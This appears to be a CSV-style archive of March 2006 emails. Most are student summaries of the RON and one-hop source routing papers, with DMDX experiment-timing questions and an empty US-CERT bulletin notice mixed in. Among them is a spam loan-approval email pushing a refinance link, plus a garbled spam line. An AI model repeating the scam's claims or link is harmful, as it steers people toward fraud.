in a distributed application form an overlay which can be used as an alternative routing substrate. Nodes monitor the state of the links between themselves and choose an alternative path when an outage occurs. This happens much faster then the adaptation of the underlying routing. Since the system keeps n^2 number of links only a single node is enough to form an alternative path. The tight coupling between the client application and the routing provides additional benefits like the ability to choose a specific path metric for each application, as well as application specific notions of what constitutes a network failure. Overlay routing also allows routes to use private peering paths between different autonomous systems that are unavailable for traditional routing. The paper presents a great and simple idea. The biggest drawback is that it proposes that every node knows every other node, which does not scale well. Improving the Reliability of Internet Paths with One-hop Source Routing The paper presents optimization over RON. Its main point is that maintaining n^2 links is unnecessary. Instead, the authors suggest keeping a smaller number of links would be enough because the source node can try its peers in sequence until it find a path to the destination. The problem that the papers solves seems very much like searching in an unstructured p2p network. Perhaps a simple flood will be much more efficient. It is not expensive in this case, because it will happen rarely. In addition, it guarantees that the destination will be reached in the shortest possible time. The path found will also most likely be the one with lowest latency. ",0,0 Ari Rabkin ,egs+summary@cs.cornell.edu,"Thu, 09 Mar 2006 00:28:29 -0500",PAPER 13," RON: A RON is a resilient overlay network; an overlay network designed to have data tunneled through it. By doing routing at the application layer instead of the network layer, a RON can adapt to bad links much more quickly than a lower-level protocol such as BGP. In addition, a RON is able to employ much more flexible criteria about routing, thus allowing use of routes that are not publicly advertised. It is unclear how well RONs would work if deployed on a larger scale. How would the internet's routing perform if many nodes were rapidly altering their traffic patterns in response to perceived poor service? And if it would work well, why not simply alter BGP, rather than do this at the application layer? Also, using a RON requires trusting that nodes are not lying about the origin of their data to get around awkward usage policies. This, as the authors say, is possible in small systems, but presumably would be awkward as RON systems become larger and more common. One-hop: How much benefit can we get fro mclever routing? The authors of this paper did extensive path traces from Planetlab nodes to triangulate routing failures. As it happens, a significant fraction of server failures, and a large preponderance of broadband user machine failures, are end-system or last-link failures, which no routing algorithm can ameliorate. For those failures which can be fixed by routing, picking four nodes at random and trying to route through them (""one-hop"" indirection) worked 92% of the time. The authors conclude that trying to route through a small number of random peers is often an effective technique for routing around failures. Interestingly, if one is trying more than 2 or 3 indirect routes, cleverness does not seem to help; it's hard to do better than choosing indirection points at random. This suggests that a RON may in fact be overkill for most applications needing higher reliability. How well would this system work for those of us who aren't running on planetlab? For the system to work, nodes must have some set of 'peers' who are willing to route for them, with whom they have tolerably fast connections, but who are far enough away in the network graph that routing through them will miss the damaged link[s]. Moreover, they must be willing to forward data. This is by no means impossible, but neither is it straightforward. Unlike disk space, bandwidth is an ephemeral resource, and particularly in this case, used seldom. Therefore a straightforward swap seems inapplicable. Ari Rabkin asr32@cornell.edu Risley Hall 454 3-2842 The resources of civilization are not yet exhausted. --William Gladstone ",0,0 Niranjan Sivakumar ,egs+summary@cs.cornell.edu,"Thu, 09 Mar 2006 01:18:40 -0500",PAPER 13,"Niranjan Sivakumar Resilient Overlay Networks Improving the Reliability of Internet Paths with One-hop Source Routing A Resilient Overlay Network (RON) is designed to run on top of the existing Internet and facilitate avoiding and dealing with instability and outages that may not be efficiently resolved with existing Internet protocols. Nodes in different segments of the network are selected to be a part of the RON. These nodes actively monitor path conditions in order to aid their forwarding of packets that they receive from any other RON clients. Forwarding can be done based on some particular metrics or for specified applications. Types of traffic on links can be limited through a policy routing mechanism that is implemented. Experimental results show that this approach is able to deal with some some types of outages and performance issues better than simply relying on BGP and the current Internet routing infrastructure. Scalable One-hop Source Routing (SOSR) is another technique to deal with routing around problems in a way that is more scalable and efficient than a RON. FIrst, the researchers investigated failures on the Internet to get an idea of what problem they were actually trying to solve. They found that a large number of failures cannot be routed around because they are so close to the destination. To deal with those errors that can be routed around, in the event of a failure, traffic is attempted to be routed through k randomly chosen intermediaries (random-k). In this case, random-4 was determined to be a balanced choice that performed reasonably well. The theory is that if traffic can be routed to an intermediary that is sufficiently far away from the problem area of the network, another route will be found to the destination. Some more sophisticated routing methods were tested (history-k and BGP-paths-k), but it was shown that the random-k system performs comparably and i! s less complex. As noted in the SOSR paper, one of the main issues with RON is its inability to scale well. Some issues with SOSR seem to be that its simplicity takes away some of the advantages seen in RON, such as adjusting routing based on some metrics. Also, for an implementation on a large scale on the Internet, it is not clear what the incentives are to participate in this system, even though the overhead is considered to be ""negligible."" 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Specifically Andersen et al. identify problems with BGP, the underlying internet routing protocol. Specifically, path failures are frequently not detected and repaired by BGP for tens of seconds. RON seeks to address some of these issues. RON is implemented using FreeBSD's Divert Socket software to intercept IP traffic so that RON can perform its own application level routing (providing an IP abstraction to higher level applications). RON forwards packets to the final estination using standard IP in most cases. However, if a link or path failure is detected RON is able to use an intermediary RON node to forward packets. This failure detection and intermediary route discover is accomplished through a full connectivity overlay where every node exchanges probes with every other node (incurring O(N^2) overhead) to detect failures and measure several metrics (latency, packet-loss and throughput) for route selection. These metrics can be augmented by application level metrics and intermediate nodes not supporting these metrics can fallback on some application defined default. RON also includes route policies to decide which paths are acceptable when choosing an indirection (such as disallowing commercial traffic on Internet2 links). Anderson et al. show that RON can route around most underlying network failures (50-60% of such failures) in two test deployments of 12 and 16 nodes. However, this improvement is at the cost of significant overhead (estimated at 2.2Kbps for N=10 to 33Kbps for N=50, scaling with O(N^2) and latency (200ms for their implementation). Anderson et al. characterize this cost as a tradeoff for performance, however the analysis and evaluation of such a tradeoff and the parameters involved are not shown in detail. In the end RON is not presented as a scalable solution for many nodes and is instead suggested for deployment in small applications such as conferencing. However many of these applications may not be able to tolerate additional overhead for failures which may be unlikely over the short lifetime of some of these applications. In ""Improving the Reliability of Internet Paths..."" Gummadi et al. present two important contributions. First a simple study of internet connectivity explores routing failures from different vantage points. The data from this study is used to analyze the effectiveness of several indirection strategies in the face of routing failures. Specifically, given a set of ""vantage points"" probes are sent to a diverse set of internet destinations from vantage points. When connectivity failure is encountered alternative probes are sent from different vantage points and the path from source to stination is probed via a modified traceroute. Gumamdi et al. conclude that only between 40 and 60% of connectivity failures can be recovered (because last-hop connectivity has failed for which no indirection routing could be performed). To address this random-4 indirection is presented which consists of randomly and in parallel choosing four random other hosts as one-hop indirection hosts to attempt to recover. This stateless and low-cost indirection mechanism is shown to be very competetive with stateful and much more expensive alternative strategies. Second, the SOSR implementation is presented which is a kernel level routing indirection which automatically contacts a configured intermediary according to random-4 to forward packets NAT-style in the face of failures. This indirection is transparent to the user application and the destination host. Experimentation suggests that SOSR recovers from 56% of network level failures (slightly below the measured 66% which could have been recoverable). ""Improving the Relaiablity of Internet Paths.."" makes important contributions to this space. Specifically a careful survey of network failures is made characterizing the frequency of failures and the percentage of those recoverable by indirection and the random-4 protocol which suggests that these failures can be overcome by simple, stateless mechanisms. However, the experimental study presented only considers between 383 and 486 failure instances over a 72 hour period. These failures account for between .14 and .18% of the interactions attempted. The improvement shown by SOSR is a .04% increase in end reliability with a .01% increase in application level failures. These margins may be on the order of statistically insignificant differences, and no such hypothesis test is presented to show otherwise or what margin can be inferred to generalize. The increase in application level failures is worrysome and is not explored in-depth. Such failures could be much larger for other classes of applications. ",0,0 Theodore Ming Shiuan Chao ,egs@cs.cornell.edu,"Thu, 09 Mar 2006 11:35:32 -0500",paper 13,"Neither of the two papers, RON and One-Hop OSDI, deal with P2P. Rather, they deal with the background internet routing between physical links that all the P2P papers gloss over when they deal with the virtual links. Both the papers seek to improve the fault-detection and recovery that exist in current internet routing protocols (BGP). However, the two papers go about it in different ways. RON uses active monitoring and storing link-states to route around failures while One-Hop OSDI uses multiple redundant alternative paths in the case of failures. While RON gains policy flexibility and active routing around problematic paths, it does so at the expense of scalability and a polynomial growth in the number of nodes for the background traffic required to keep the RON network updated. One-Hop OSDI doesn't require any background traffic, but it does not actively route around failed paths. Instead, when node detects a failed path, it sends it to a number of randomly selected intermediaries to attempt to route around the failed link(s). However, One-Hop generates additional traffic when a path failure is detected (on the order of the k intermediaries they concurrently route to). ",0,0 Chiu Wah Kelvin So ,egs+summary@cs.cornell.edu,"Thu, 09 Mar 2006 11:42:10 -0500",Paper 13," The first paper, ""Resilient Overlay Networks,"" presents an architecture that detects and recovers from path failures using overlay routing. To detects and recovers from path failures quickly, each node in Resilient Overlay Networks (RONs) actively probes and monitors paths, which include the latency, loss rate, and throughput, to all other members. These aggressive probing may lead to excessive bandwidth overhead when the size of membership in RONs is large. Therefore, RONs decides to limit the number of nodes participated in RONs under 50 nodes. Similar to link-state routing protocol, nodes construct routing table by periodically exchanging routing information of the different performance metrics to the other nodes. When nodes detect failure of a path, it can use other nodes to route through the failure. Not only RONs allow application to recover from path failure, it also allows application to route based on specific application. Since RONs keep track of various performance metrics of paths, application can route through different paths based on application-need. For example, some applications may find low latency is more important while others application may find loss rate more important. Also, when a packet enters the network, it is given a particular policy tag and it can only route through the path where the type of traffic is allowed. However, the drawback of the system is that it does not scale as more members join the RONs because of the aggressive probing. Also, it assumes all members in RONs are cooperative. The second paper, ""Improving the Reliability of Internet Paths with One-hop Source Routing,"" presents an architecture that improves path failure by routing one more hop. This paper first presents a measurement study on 67 nodes in PlanetLab probing 3000 other nodes. The main point of the study shows that 66% of path failure can be recover by one extra hope through one of the 67 nodes in PlanetLab. They also shows that broadband hosts tend to have more last-hop failure which is not recoverable by extra hops. From the study, they implement an architecture where if a node fails to send packets to other nodes, then it will randomly pick k of the 76 nodes to route the packet. Since about 66% of path failure can be recovered by one extra hope from the studies, it can reduce path failure by 60%. This simple technique can avoid most path failures. Because SOSR does not have any background traffic, it can scale a lot better than RONs. However, the intermediate nodes have to be server class node or else it is not reliable to use them to route packets. ",0,0 Kevin ,egs+summary@cs.cornell.edu,"Thu, 09 Mar 2006 11:44:47 -0500",PAPER 13,"RON creates an overlay on top of the internet that actively looks for better paths to route packets. It keeps a complete list of neighbors and periodically (very often, actually) pings them to determine whether they are down. If they are down, then another set of packets is sent to determine whether it was a freak accident (some minimal packet loss) or a real outage. This second stream of packets is done in quick succession and once it has determined that the path is down, an alternate path to the destination is picked. Because of this active approach and its application-level implementation, RON can determine whether it wants to send packets to a certain host depending on latency, throughput, or packet loss. FTP, for example, should have a high throughput while latency does not matter. On the other hand, we have HTTP which cares about latency but generally does not care about throughput since most web pages are small in size. You can also imagine an application that needs to get a packet to its destination, no matter how long or how slowly it takes to get there, that would favor a packet-loss light link. RON reroutes packets with just one intermediary node, claiming that this was sufficient to see marked improvement. In the results section, RON is shown to have route packets much more reliably than the current BGP system. It delivers packets quicker and recovers from faults much quicker (on average less than 20 seconds as opposed to several minutes). The major downfall of RON seems to be the massive amount of background information that is flowing through it. The authors put a chart of bandwidth usage vs number of nodes in the system. At 50 nodes, the system is using ~35kpbs, which is incredible. They note that this is one tenth of the current broadband speed. This seems too high for the gains the system produces. My cable modem seems to have problem getting to the internet about once a week for half an hour (as a pessimistic estimate, it is usually more like once a month for 15 minutes). My upload bandwidth is close to 150kpbs. I would not want to allocate almost a quarter of my bandwidth for those thirty minute of internet connectivity. Furthermore, it is usually the gateway I am connected to at my ISP that is down. No internet traffic can get to me and vice versa: RON would not be able to solve that problem. RON allows quicker and more robust communication at the cost of bandwidth, a tradeoff that might be made when bandwidth is cheaper. SOSR takes a different approach than RON. It seems to be more on the passive rather than overly active side of things. The paper first delves into a detailed study of link failures and packet loss. They created their own traceroute program to actively find the node that is down in order to determine exactly if it was possible to route around the failure. They found that a large part of failures are at last-hop or end-systems. These kinds of failures cannot be routed around. If my computer or my ISP goes down, there is no way for anyone to reach me. They suggest multi-homing (having multiple ISPs) as a solution to this, noting that there is no routing protocol that can handle this kind of failure. The paper finds that active RON-like systems have huge overhead and decide to develop a system that has no a-priori knowledge of internet states. They create something called random-k. Basically, when a path outage is detected, you route to k random intermediaries that forward the packet for you. Unless all k intermediaries fail to route the packet or the path reapirs itself, the packet is successfully routed. You can then talk through the successful intermediary in order to get your packets out to your destination. They found that round-4 was the best tradeoff and worked well. In the end, the system's passive approach scales better. SOSR is not as successful as RON in getting a path to a destination. This seems obvious from RON's active pinging and fault recovery. On the other hand, SOSR has minimal bandwidth overhead. The lack of security seems to also be an issue, but something that might be better for a followup paper. ",0,0 Victoria Krafft ,egs+summary@cs.cornell.edu,"Thu, 09 Mar 2006 08:49:18 -0800",PAPER 13,"With the current BGP routing protocols, the Internet can take several minutes to reconfigure the routes used when failures occur. Andersen et al. presents a scheme for building resilient overlay networks (RONs), which will detect failures, and recover from them, much more rapidly. Essentially, a RON is made up of several nodes in different routing domains. Those nodes form virtual links to each other, and route data between nodes. They keep track of link performance, and re-route to get around virtual link failures, and to improve performance. While the results of their studies show that RONs improve performance for the nodes connected to the RON, they have not examined the extra load a RON places on a network. The aggressive probing of link conditions is likely to slow down other network traffic, and place increased load on the network. While this may be a worthwhile tradeoff for some applications, it should probably not be used to improve general Internet traffic. In addition, RONs only work for a relatively small set of nodes. The authors propose running multiple RONs to get around this limitation, but that would use up even more resources from the underlying networks. Gummadi et al. present a much less resource intensive scheme for handling failures, one-hop routing. In this plan, if the direct route to a host fails, then the machine trying to reach it will attempt to route the packet through some number of intermediary nodes; if none of the intermediaries can reach the destination either, then the packet is lost. Their experiments show that if four intermediaries (out of the 39) are randomly chosen, and the packet is routed through them, then about 60% of failures to reach popular servers could be routed around. Only 66% of these failures could possibly be routed around; the rest are failures too close to the server. The characterization of Internet failures in this paper is also interesting; it shows that for most broadband hosts, and many popular servers, routing protocols cause temporary, and unnecessary, outages fairly frequently. Network reliability for popular servers is only about 99.6%, which suggests that the Internet is still inherently unreliable, even for very popular sites, which presumably have expensive and high-quality connections to the rest of the network. -- Victoria Krafft ",0,0 Abhishek Santosh Gupta ,egs+summary@cs.cornell.edu,"Thu, 09 Mar 2006 12:15:11 -0500",paper 13 - routing,"RON the main goal of a RON is to enable a group of nodes to communicate with each other in the face of problems with the underlying Internet paths connecting them. RON nodes exchange information about the quality of the path among themselves via a link-state routing protocol and build forwarding tables on a variety of metrics. In order to constrain the amount of bandwidth overhead, the authors suggest limiting the RON to less than 50 nodes. This scheme is not scalable for networks with very large peers. it also requires each node or a local group of nodes to create databases to store samples related to various metrics. the databases ( in case of a group of nodes) serve as a single point of failure and attack. It assumes that nodes in a RON will not be malicious since malicious behavior could be easily detected in a such small world. the paper does not explicitly deal with such detection mechanisms especially in the case of nodes who might forward garbage information (related to path quality). Optimizations are achieved using flow-cache entries. One-hop Source Routing the paper carries out experiments to determine the location of path failures while routing. the authors distinguish between a true pah failure and short-lived congestion using multiple probes. TCP-ACK packets were used instead of UDP for various reasons such as firewalls and routers dropping them. basic idea: once a node detects a path failure, it selects k intermediaries and attempts to reroute packets through them. If the new indirect path is sufficiently disjoint from the older direct path, the faulty component will be avoided resulting in successful communication. better policies: maintain a history of the intermediary that correctly forwarded to a particular destination and set this intermediary as the k th intermediary for subsequent routing to the same destination. (although the authors do not discuss as to how a node detects that a particular intermediary was successful given that it forwards to all the intermediaries in parallel - does the response returned from the destination indicate this intermediary ? - or does the intermediary himself inform about successful routing ?) experiments show that for 3000 nodes random-4 (k=4 here) provides good results and it should be invoked after having observed just a single packet drop. the value of the k would be different for different sized networks. The authors have not provided mathematical equations for the value of k and the frequency/eagerness of invoke for different sized networks. k should be set based on the number of nodes in the network for optimal performance. (randomly choosing k will improve performance by a small amount only) Knowing the number of nodes in the network (since it can change dynamically) seems difficult. ",0,0 Carlo Cerruti ,DMDX@psy1.psych.arizona.edu,"Thu, 09 Mar 2006 14:28:00 -0600",[DMDX] lag time,"Hi, I'm having a problem with a long (half second) lag time between segments of my trials. Each problem my subjects do actually has three parts, which I'd like to appear seamless on the screen, but I'm gettting an unfortunate blank screen while dmdx moves from one to the next. In the program below you can see that the first part is a word problem that stays on screen for 5 seconds, then replaced by an abstract picture for 5s, and then the word problem returns. The major problem is that when the screen is blank the timer is also off -- and this means that if subjects respond during this interval it goes unrecorded. You can see below that I've tried to use the media life command to buffer the pic: 0 ""AbPic4"" ; I also tried: 0 %0 ""AbPic4"" ; (If you try to run the program below you probably need to change the font color of the program so it's not black on a black screen; also insert a bmp pic in line 0122; and not that i'm working at a laptop so the refresh rate in the parameter line is set to 60.) THANKS, Carlo Cerruti f0 d0 0 @-6”In this experiment you will see three words on every trial.”, @-5”Your task is to think of a fourth word that can be combined with”, @-4""each of the others to make a common word or phrase."", @-3""Please keep your eyes on the screen."", @-1”You have up to 30 seconds for each trial.”, @1”If you think of the answer,”, @2”say the solution word into the microphone.”, @4”Please do not speak until you have the answer.”, @6”Press the space bar to begin one review trial,"", @7""and to move from trial to trial.”; 0 ""AbPic4"" ; +0121 <%ms 750> ""+"" / %15 / * ""FLAKE"", ""MOBILE"", ""CONE"" / ! ; +0122 * g""AbPic4"" / ! ; +0123 * ""FLAKE"", ""MOBILE"", ""CONE"" / ! ; ~0124 ; 0 ""FLAKE"", ""MOBILE"", ""CONE"", ""SNOW""; 0 ""THANK YOU FOR YOUR PARTICIPATION."";",0,0 Tudor Marian ,egs@cs.cornell.edu,"Thu, 09 Mar 2006 12:37:29 -0500",PAPER 13,"RON is an architecture that improves the reliability of underlying Internet packet transport by detecting and recovering from transient path failures more rapidly than BGP does. It works by deploying a set of nodes into an app-level overlay network, and having them aggressively probing and monitoring the quality of the underlying links between themselves. Packets are routed according to application specified metrics, either by direct sink into the Internet or by way of some other RON node. The paper found that forwarding packets via at most one RON node was sufficient to overcome faults and improve performance in most of the cases, moreover the link failure detection and recovery took on average 18 seconds as opposed to tens of minutes it takes BGP to recover. One can argue that the architecture is as dirty as it gets, even if it is a good hack that works it only does so because of the shortcomings of the BGP. The paper proposes a simple approach to recover from Internet path failures, called one-hop source routing. The way it works is by routing indirectly through a small set of randomly chosen peers, and in contrast to RON, performs no background path monitoring, thereby scaling well and avoiding the overhead in the common case of no failures. In order to motivate the approach, the paper starts by presenting a measurement study of Internet path failures and then evaluate their implementation prototype on PlanetLab. They conclude that although 16% of the failures on paths to servers and 60% on paths to broadband hosts are unrecoverable since it's impossible to route around the last hop, the simple random-4 technique was able to recover from 61% of the path failures for popular servers and 35% for broadband hosts. Arguably, the netfilter choice of implementation is much more elegant than the one chosen by RON. Tudor",0,0 Ymir Vigfusson ,egs+summary@cs.cornell.edu,"Thu, 09 Mar 2006 12:39:39 -0500",PAPER 13,"RON (Resilient Overlay Network) is an application-layer overlay network designed to detect and recover from network failures (namely link failures and performance failures) quickly. While the underlying AS/BGP architecture of the Internet is designed for the same purpose, the reroute recovery time is in the order of several minutes due to scalability issues whereas RON does this in the order of several seconds (namely 18 seconds on average in the experiment with 12/16 RON nodes and 132/240 distinct paths). This agility is accomplished by aggresive probing and monitoring of the paths that connects the RON nodes. The paper cites results from Labovitz et al. that 10% of considered routes on the Internet were available less than 95% of the time, and 35% of all routes were unavailable more than 99.99% of the time. Furthermore, 40% of path outages take longer than 30 minutes to repair. RON nodes exchange information about the quality of the paths they know. The authors present results where at most one intermediate RON node is sufficient to improve routing paths. RON, unlike BGP-4, is capable of expressive fine-grained policies aimed at users or hosts. Another feature of RON is integration with applications, since they may prioritize different metrics over others (e.g. latency, low loss or throughput) of which RON enables simultaneous optimization. The implementation of RON was explicitly designed to be limited in size, and an underlying assumption in the paper is that RON is small relative to the Internet. There is a huge amount of background data and paths that needs to be recorded so its scalability seems to be a large drawback. Additionally, it provides a means of 'selfish routing' which may be suspect to downsides like the Braess' paradox where adding a cheap link to the network slows down traffic. However, Tim Roughgarden and Eva Tardos showed that this should only make latency 4/3 times the best coordinated routing. The second paper ""Improving the Reliability of Internet Path with One-hop Source Routing"" starts off by investigating path failures on the Internet. From a 7 day data of probing paths from PlanetLab servers to a set of destination hosts, it turns out that the vast majority of paths suffered at least one failure. Many failures (16% of failures to servers and 60% of failures to broadband hosts) occurred close to the destination (last-hop), so alternative routing/overlay schemes may not work to alleviate them. The paper then proposes a 'one-hop source routing' scheme called SOSR where a node tries to reroute packets through one or more intermediaries after it discovers a path failure. If the paths are disjoint and the intermediary also avoids faults, end-to-end communication is restored. It turns out that the most effective policy is to pick the intermediaries at random (smarter policies don't buy much extra), and the paper in particular picks 4 intermediaries as a good value deduced by the failure sample. If all of the intermediaries fail, the policy is to wait for the default path to recover itself. Notice how the policy does not need to keep track of state. The paper concludes by evaluating an implementation of SOSR on Linux which was able to reduce recovable failures by 56%, close to the predicted value. The paper does not give any theoretical insight into the failures observed or theoretical basis for why one-hop source routing may be viable. ",0,0 Oliver Kennedy ,egs+summary@cs.cornell.edu,"Thu, 09 Mar 2006 13:15:09 -0500",PAPER 13,"RON is based on the assumption that the current internet routing protocol BGP is crap. To an extent, this is true. BGP is designed to operate with minimum overhead, and has to deal with the economic policies of all the organizations that provide connections along a particular route. Consequently, sub-optimal routes are often chosen due to out of date information or unusual policy decisions. RON attempts to out-think BGP by choosing its own path, and forcing BGP to route packets accordingly. It does this by creating an overlay network. Clients insert packets into the overlay at the closest node and the node closest to the destination forwards them appropriately. Since a RON is a fully connected graph, in the ideal situation a route will be only one hop. If the network connection between two nodes begins to degrade, the RON will attempt to reroute the packet through another node. There are a handful of concerns with this system. Firstly, the fact that the RON is a fully connected graph means that each node has O (N^2) state. This could cause significant scaling issues as the RON begins to see more users. Secondly, since each RON node is constantly pinging every other RON node, the network overhead associated with the above state is likely to get out of hand quickly. The paper places a theoretical 50 node size limit on the network, but as the traffic flowing through the RON grows, the individual nodes will become swamped unless more router nodes are added. Moreover, if the internet were to shift over to RON completely, then a large number of existing routes would become obsolete and unnecessary. One hop source routing takes a similar approach. Instead of using a network of nodes, it places a series of routers on the internet. If a routing failure occurs between the source and the destination, it instead tries routing through an intermediary node rather than using a complex overlay network. The downside to this is that the nodes must be known to each source in advance. A centralized discovery service provides a single point of failure, and a distributed protocol still requires some form of bootstrap host. Furthermore, deployment of these nodes could get difficult. Deploying them over a global testbed is trivial, but it would be difficult to get a corporation to deploy such a router. Why should they pay for someone else's bandwidth? -Oliver Kennedy Computer science isn't about computers any more than astronomy is about telescopes. -- Dijkstra - Oliver Kennedy They laughed at Einstein. They laughed at the Wright Brothers. But they also laughed at Bozo the Clown. -- Carl Sagan ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 09 Mar 2006 13:40:21 -0700",[DMDX] Re: lag time,"At 02:28 PM 3/9/2006 -0600, you wrote: >You can see below that I've tried to use the media life command to buffer >the pic: > >0 ""AbPic4"" ; > >I also tried: > >0 %0 ""AbPic4"" ; will only improve access times for media that is used multiple times. What you will have to do is arrange things so that the first part of the next item is left on the screen as that item loads (and reads the bitmap for the next item). The timing notes refers to this: http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhtimingnotes.htm /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The only difference between a rut and a grave is the depth.",0,1 Dave Dudek ,Wheaton College Hillel ,"Thu, 09 Mar 2006 14:13:52 -0500",Matisyahu coming to Univ. of Rhode Island on Apr. 10,"In case anyone is interested, Matisyahu, the hasidic reggae star is coming to the university of rhode island on Monday, April 10. this event is being run by the university itself and not URI Hillel directly. - dave Hasidic reggae star Matisyahu coming to Ryan Center at URI Hasidic reggae singer Matisyahu will perform at the Ryan Center in Kingston on April 10 at 8 p.m., the venue announced today. Tickets go on sale to URI students tomorrow and to the public on Friday. Born in West Chester, Pa., and raised in White Plains, N.Y., Matisyahu has combined Orthodox Judaism with classic reggae to produce a unique sound. He and his band released their sophomore album, ""Youth,"" yesterday. Tickets are $30 for the public and $15 for URI students with ID. There will be a special pre-sale for URI students tomorrow starting at 10 a.m. at the Ryan Center box office only. Tickets for the public go on sale Friday at 10 a.m., and can be purchased at the Ryan Center box office, at all Ticketmaster outlets, online at Ticketmaster.com, or by calling (401) 331-2211. ",0,0 US-CERT Security Bulletins ,security-bulletins@us-cert.gov,"Thu, 09 Mar 2006 15:55:40 -0500","US-CERT Cyber Security Bulletin SB06-068 -- Summary of Security Items from March 2 through March 8, 2006 ","-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Summary of Security Items from March 2 through March 8, 2006 This bulletin provides a summary of new or updated vulnerabilities, exploits, trends, viruses, and trojans from March 2 through March 8, 2006, and is available here: For instructions on subscribing to or unsubscribing from this mailing list, visit . -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBRBCVMX0pj593lg50AQKsegf/ah3asC1+tRRgQf/9lc96QhPk0wpWGvK+ Azs1hFNOhleNkiXvBfNpUE/eg9nGBAVv95tDAlgGPj1INRFQUo2iFNuhHDLY5YPw 51XoFY7zm9eXhH5JhhcUo3Erp7MYw1CLhwZWaILCEWOOaF8+Nt2mu+XnqvPgMO3o Wra0avyDd9ziTN1lCdQC8e3qc5pfLp9CdoX4M6uvzEcNoM9znhh0j2x881v8IyZI ZPIB7rXfP0pA5BDmYHBI9wyXlRZ63xl8zNnQliMgGePgXBEkvXRgphC6GyabDtJg nkSLqqbU4Q0WckTiITYsz1I42bz2TLa4cVsWwaghTRwqErv8IMIOkg== =I//I -----END PGP SIGNATURE-----",0,1 """Manuela B. Lam"" ",SPARC-OAForum@arl.org,"Thu, 09 Mar 2006 09:09:52 -0600",RERE: Loan Application 8ma,"Dear Homeowner, SPARC-OAForum@arl.org http://lowlow1refinance.com/goodstep/ You have been approved for a $ 474,955 house loan (2.9 fixed) This offer is being presented to you right now!. Your credit history is in no way a factor. To take advantage of this Limited Time Opportunity, please take a minute and confirm your curiosity or intention to accept this loan, at the following web-site: http://lowlow1refinance.com/goodstep/ Best Regards Don Nut Loan Manager http://lowlow1refinance.com/lit.html SPARC-OAForum@arl.org wrote: > RE: We can approve yours loan jeal5b1hsi ",1,1 ������ ,acheng@olemiss.edu,"Thu, 09 Mar 2006 17:34:41 -0300","��[��������]��.��.��.��.��,��.��.��.�� ��.��.��.��.�� gv",ejqez uotsnlotfavvvr,1,1 La'Shonn Curry ,"dwilikins@cs.olemiss.edu, dwilkins@cs.olemiss.edu","Fri, 10 Mar 2006 03:36:13 +0000",,"Hey Ms. Wilkins. Sarah wanted to know will you be here Friday. She has a problem with one of her class and she wanted your help. ",0,0 Derek Eder ,DMDX@psy1.psych.arizona.edu,"Fri, 10 Mar 2006 04:51:02 -0800",[DMDX] RT measurement - sanity check please,"I would like to ask for some indulgance and a sanity check (DMDX script check actually). I am not sure if my script is doing precisely what I intended because the resulting data smells fishy. Below is one line from an item file which I have broken up into conceptual chunks here: (chunk 1 - wait interstimulus interval with fixation cross) Item #23, display the character ""+"" for 223 ticks (chunk 2 - display fixation and cue) display the characters ""+"" and ""O"" for 13 ticks (~200 milliseconds) and start the RT clock with a timeout of 2700 milliseconds (chunk 3 - display fix) display a ""+"" alone for 49 ticks (800 ms) (chunk 4 - display fix and target) target = ""<<<<<<"" wait for response or end of timeout before moving to next item.) +23 ""+"" / ""+"" , ""O"" * / ""+"" / ""+"" , "">>>>>"" ; Now, the reaction time I really want to measure is from the onset of the target presentation (chunk 4), but to catch premature responses to the presentation of the cue (in chunk 2), I start the RT clock with the cue onset. So, to calculate the actual valid RT, I take the raw RT measurement and subtract 13 + 49 ticks (in milliseconds). The problem is that the data does not look right. Is it possible that the RT clock is measuring from the start of chunk 3? Thanks a million! - Derek Derek Eder Bagaregårdsgatan 3E, nr 134 SE 416 70 Göteborg (Gothenburg) Sverige (Sweden) +46 (031) 25 97 07 (home) +46 0709 721 283 (mobil) email: derek_eder@yahoo.com web page: www.derek-eder.org ""Forgiveness means giving up any hope for a better past"" - after Gil Fronsdal __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com",0,1 Derek Eder ,DMDX@psy1.psych.arizona.edu,"Fri, 10 Mar 2006 04:54:12 -0800",[DMDX] RT sanity check part II,"Regarding my earlier (10 seconds ago) post about RT times, perhaps this is also relevant, the item file header: Derek Eder Bagaregårdsgatan 3E, nr 134 SE 416 70 Göteborg (Gothenburg) Sverige (Sweden) +46 (031) 25 97 07 (home) +46 0709 721 283 (mobil) email: derek_eder@yahoo.com web page: www.derek-eder.org ""Forgiveness means giving up any hope for a better past"" - after Gil Fronsdal __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com",0,1 Derek Eder ,DMDX@psy1.psych.arizona.edu,"Fri, 10 Mar 2006 07:16:17 -0800",[DMDX] more RT blues (part III),"I am just one confused person today and I cannot reason my through this problem. The two items below are virtually identical (with the exception of different frame durations (inter stimuli intervalii) in their first frames. Why then, if I run these without responding, i.e., let them timeout, do I get different reaction times? -9 ""+"" / ""+"" , ""O"" * / ""+"" / ""+"" , ""<<<<<"" ; -10 ""+"" / ""+"" , ""O"" * / ""+"" / ""+"" , ""<<<<<"" ; Subject 1, 03/10/2006 15:13:30 on PIPPI, refresh 13.33ms, ID 999.4 Item RT 1 -2300.00 9 -2300.00 10 -2100.00 Derek Eder Bagaregårdsgatan 3E, nr 134 SE 416 70 Göteborg (Gothenburg) Sverige (Sweden) +46 (031) 25 97 07 (home) +46 0709 721 283 (mobil) email: derek_eder@yahoo.com web page: www.derek-eder.org ""Forgiveness means giving up any hope for a better past"" - after Gil Fronsdal __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! 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The new computer has the following motherboard: Gigabyte GA-8I945G Pro Which has the following chipset Intel i845 chipset I am using the onboard graphics (Intel 82845G), which states that a minimum 64MB and a maximum 128MB of memory is available. The experiment runs fine on older computers (which have different chipsets). This is what we tried to do to solve the problem, but with no success: 1. Turned off hyperthreading 2. Updated the chipset drivers 3. Updated the video drivers 4. Disabled all start-up programs and non-windows services 5. Turned off screen saver and power management What else can we do to try to solve the problem? From previous messages on the mailing list (august 2003), I understand that the Intel i845 chipset might be at the origin of the problem... Note that if I increase the value of (e.g. from to ), I have no error message anymore, but this is not a solution for me really. For your information, here the full error messages: Subject 9, 03/10/2006 16:30:51 on PSG-DS-02, refresh 13.31ms Item RT COT 9003 452.64 0.00 